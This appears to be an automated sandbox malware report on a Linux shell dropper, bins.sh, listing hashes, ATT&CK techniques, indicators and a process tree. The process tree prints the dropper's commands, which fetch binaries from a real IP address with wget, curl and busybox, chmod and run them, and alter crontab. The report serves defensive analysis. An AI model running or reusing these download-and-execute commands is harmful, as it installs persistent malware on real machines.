f98486edcd5b27f2b019ed174345f85e8ea618f8fe85b5b10658d051775c6d00

General

Target

bins.sh
Size

10KB
MD5

33940d0397837b5881a93decafb2d6b1
SHA1

b628698bdb44575c1c23bec978e3d9fc1c884cec
SHA256

f98486edcd5b27f2b019ed174345f85e8ea618f8fe85b5b10658d051775c6d00
SHA512

8fa5b4f1c3dd50156baa943ba3a6f1dfc0fcaf568585a569c1dd8d05d6be3d4bdd17fc381c0be1dc9bd13b112151d9392b4e70f61343cfb00a0cdc3ea33bd99a
SSDEEP

192:1gXvFQDivmLRsSqEJVVLLKSqEJV7XvFQDivVR:1gXvFQDivmLRsSqEJVVvKSqEJV7XvFQi

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2210) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1517 chmod
Executes dropped EXE 1 IoCs

Processes:

hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

ioc pid process

/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp 1518 hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
Renames itself 1 IoCs

Processes:

hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

pid process

1519 hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.fcqzgH crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1517	chmod

ioc	pid	process
/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp	1518	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

pid	process
1519	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.fcqzgH	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

description	ioc	process
File opened for reading	/proc/993/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1598/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1601/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1631/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1657/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/6/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/32/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/35/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1736/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1703/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1752/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/163/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1628/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1666/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1546/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1674/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1718/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1750/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/18/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/172/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1066/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1642/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1660/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1714/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1721/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1725/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/11/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/436/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1602/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1648/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1649/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1680/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/269/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/405/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1541/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/985/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1287/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1580/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1729/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/22/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/162/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/949/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1689/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/79/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1308/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1527/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1614/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1685/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1182/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1255/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1613/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1528/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1584/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1600/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1625/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1633/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/457/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/648/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1501/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1646/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1692/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1720/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1569/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
File opened for reading	/proc/1589/cmdline	hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurl

description	ioc	process
File opened for modification	/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp	busybox
File opened for modification	/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp	wget
File opened for modification	/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1508
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1510
- /usr/bin/wget
  wget http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  - Writes file to tmp directory
  PID:1511
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod 777 hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  ./hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1518
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1520
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1521
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1522
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1523
- /bin/rm
  rm hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://216.126.231.240/bins/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
  2⤵
  PID:1528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Network Service Discovery

2

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.fcqzgH

Filesize
210B

MD5
d792e1813b3e14c6d2a29111db7b033e

SHA1
bb74cd1d114a15ec99b19eb1de2487910303cb31

SHA256
f32014df5a7e883c221e84d8e00cbe0cd346a80093bf24ecd986d4113a243419

SHA512
eaacca85952b4e96be5a8e0969b13c0c57d5efaba549703c6276b92147a627f4e2f7a2f850f4d5a99665060e94457c60191a42f61af53293d938d9f45661bbe5

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads